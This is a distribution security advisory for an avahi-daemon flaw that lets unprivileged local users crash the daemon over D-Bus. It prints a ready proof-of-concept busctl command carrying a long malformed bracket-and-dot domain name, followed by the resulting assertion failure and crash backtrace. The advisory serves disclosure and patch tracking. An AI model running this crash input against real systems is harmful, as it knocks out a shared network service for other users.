GHSA-4v6h-9g73-wm5j on CTRL-OS 26.05
Aliases: GHSA-4v6h-9g73-wm5j
Packages: avahi
Status: Plausible
Advisory Information
avahi-daemon can be crashed by unprivileged local users via D-Bus by calling the
RecordBrowserNewmethod with names that pass theavahi_is_valid_domain_namecheck and can't be normalized withavahi_normalize_name_strdupat the same time:busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server RecordBrowserNew "iisqqu" -- -1 -1 '[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[' 0 0 0avahi-daemon: dbus-protocol.c:984: dbus_prepare_record_browser_object: Assertion `key' failed. ==2424== ==2424== Process terminating with default action of signal 6 (SIGABRT) ==2424== at 0x4B31DCC: __pthread_kill_implementation (in /usr/lib64/libc.so.6) ==2424== by 0x4AD6F8D: raise (in /usr/lib64/libc.so.6) ==2424== by 0x4ABE7B2: abort (in /usr/lib64/libc.so.6) ==2424== by 0x4ABF803: __libc_message_impl.cold (in /usr/lib64/libc.so.6) ==2424== by 0x4ACEE44: __assert_fail (in /usr/lib64/libc.so.6) ==2424== by 0x4002FB8: dbus_prepare_record_browser_object.cold (dbus-protocol.c:984) ==2424== by 0x400E4E9: dbus_select_browser.isra.0 (dbus-protocol.c:1119) ==2424== by 0x400FCA0: msg_server_impl (dbus-protocol.c:1185) ==2424== by 0x4A75DA3: dbus_connection_dispatch (in /usr/lib64/libdbus-1.so.3.38.3) ==2424== by 0x4014122: dispatch_timeout_callback.lto_priv.0 (dbus-watch-glue.c:105) ==2424== by 0x489CB4F: avahi_simple_poll_dispatch (in /usr/lib64/libavahi-common.so.3.5.4) ==2424== by 0x4004EF7: run_server (main.c:1279) ==2424== by 0x4004EF7: main (main.c:1708) ==2424==It was fixed in https://github.com/avahi/avahi/pull/939.
Updates
2026-07-14 17:17 CEST
Metadata changes:
- Status for package
avahi: “Plausible”
2026-07-14 16:15 CEST
Metadata changes:
- Status for package
avahi: “New”